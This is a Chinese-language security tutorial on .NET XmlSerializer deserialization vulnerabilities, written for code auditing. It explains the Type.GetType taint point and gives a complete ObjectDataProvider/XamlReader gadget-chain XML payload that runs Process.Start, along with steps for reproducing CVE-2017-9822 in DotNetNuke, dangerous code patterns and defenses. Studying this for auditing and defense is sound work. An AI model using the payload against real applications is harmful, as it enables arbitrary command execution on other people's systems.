.NET高级代码审计之XmlSerializer反序列化漏洞
字数 1545 2025-08-18 11:38:08
.NET XmlSerializer反序列化漏洞深度分析与利用
一、XmlSerializer基础原理
XmlSerializer是.NET框架中System.Xml.Serialization命名空间下的重要类,用于实现XML数据与.NET对象之间的双向转换:
- 序列化(Serialize):将对象实例转换为XML文档
- 反序列化(Deserialize):将XML文档解析为对象图
关键特性
- 只能序列化公共属性和公共字段
- 支持通过特性控制序列化行为:
XmlElement:指定属性序列化为元素XmlAttribute:指定属性序列化为特性XmlRoot:指定类序列化为根元素
二、XmlSerializer反序列化漏洞原理
漏洞产生的核心在于Type.GetType方法的使用,攻击者可以控制传入的类型参数,从而实例化恶意类。
三种获取Type对象的方式
- typeof运算符
Type type = typeof(TestClass);
- object.GetType方法
TestClass obj = new TestClass();
Type type = obj.GetType();
- Type.GetType静态方法(漏洞关键点)
Type type = Type.GetType("Namespace.TestClass");
第三种方式允许通过字符串参数指定类型,成为反序列化漏洞的主要污染点。
三、攻击链构建
完整的攻击链需要结合多个.NET组件实现任意代码执行:
1. ObjectDataProvider类
位于System.Windows.Data命名空间,关键属性:
ObjectInstance:要调用的对象实例MethodName:要调用的方法名MethodParameters:方法参数集合
示例:
var odp = new ObjectDataProvider {
ObjectInstance = new Process(),
MethodName = "Start",
MethodParameters = { "calc.exe" }
};
2. ResourceDictionary与XAML
WPF中用于共享静态资源的组件,结合XAML可实现恶意代码注入:
<ResourceDictionary xmlns:Runtime="clr-namespace:System.Diagnostics;assembly=System">
<ObjectDataProvider x:Key="Malicious"
ObjectType="{x:Type Runtime:Process}"
MethodName="Start">
<ObjectDataProvider.MethodParameters>
<System:String>calc.exe</System:String>
</ObjectDataProvider.MethodParameters>
</ObjectDataProvider>
</ResourceDictionary>
3. XamlReader类
位于System.Windows.Markup命名空间,用于解析XAML:
Load():从流中读取XAMLParse():从字符串中读取XAML(更易利用)
四、完整攻击Payload
结合上述组件构建的完整攻击链:
<root type="System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35">
<ObjectDataProvider.ObjectInstance>
<ObjectDataProvider MethodName="Parse">
<ObjectDataProvider.ObjectInstance>
<System:String xmlns:System="clr-namespace:System;assembly=mscorlib">
<![CDATA[
<ResourceDictionary xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation"
xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml"
xmlns:System="clr-namespace:System;assembly=mscorlib"
xmlns:Diag="clr-namespace:System.Diagnostics;assembly=system">
<ObjectDataProvider x:Key="LaunchCalc" ObjectType="{x:Type Diag:Process}" MethodName="Start">
<ObjectDataProvider.MethodParameters>
<System:String>calc.exe</System:String>
</ObjectDataProvider.MethodParameters>
</ObjectDataProvider>
</ResourceDictionary>
]]>
</System:String>
</ObjectDataProvider.ObjectInstance>
<ObjectDataProvider.MethodName>Parse</ObjectDataProvider.MethodName>
</ObjectDataProvider>
</ObjectDataProvider.ObjectInstance>
<ObjectDataProvider.MethodName>Start</ObjectDataProvider.MethodName>
</root>
五、漏洞利用条件
- 应用程序使用
XmlSerializer进行反序列化 - 反序列化的类型通过
Type.GetType动态获取 - 攻击者能够控制传入的XML数据或类型名称
六、代码审计要点
审计时应重点关注以下模式:
危险代码模式
// 危险点1:直接使用Type.GetType
Type type = Type.GetType(userControlledString);
// 危险点2:XmlSerializer构造时使用动态类型
XmlSerializer serializer = new XmlSerializer(Type.GetType(userControlledString));
// 危险点3:从XML中读取类型信息
XmlDocument doc = new XmlDocument();
doc.Load(xmlStream);
string typeName = doc.SelectSingleNode("//Item/@type").Value;
Type type = Type.GetType(typeName);
XmlSerializer serializer = new XmlSerializer(type);
serializer.Deserialize(xmlReader);
安全建议
- 避免使用
Type.GetType动态获取类型 - 使用固定类型或白名单机制
- 对输入的XML数据进行严格验证
七、实际案例复现
以CVE-2017-9822(DotNetNuke漏洞)为例:
- 攻击者构造恶意XML文件并上传
- 应用程序使用
XmlSerializer反序列化该文件 - 通过
ObjectDataProvider调用Process.Start执行任意命令
复现步骤:
- 准备恶意XML文件(如上述Payload)
- 找到应用程序中接收XML输入的点
- 触发反序列化操作
- 观察计算器进程是否被启动
八、防御措施
- 输入验证:严格验证所有XML输入
- 类型限制:使用固定类型或类型白名单
- 安全配置:
- 禁用危险的类型解析
- 使用更安全的序列化替代方案
- 代码审查:定期审计代码中的反序列化操作
九、扩展知识
-
其他相关漏洞:
- SoapFormatter反序列化漏洞
- BinaryFormatter反序列化漏洞
- JSON.NET反序列化漏洞
-
进阶利用技术:
- 利用ExpandedWrapper绕过类型限制
- 结合Reflection实现更复杂的攻击
- 内存攻击与ROP链构造
-
.NET Core差异:
- .NET Core中部分类行为可能不同
- 新的安全机制可能阻止某些攻击方式
通过深入理解这些原理和技术,安全研究人员可以更有效地发现和防御XmlSerializer反序列化漏洞。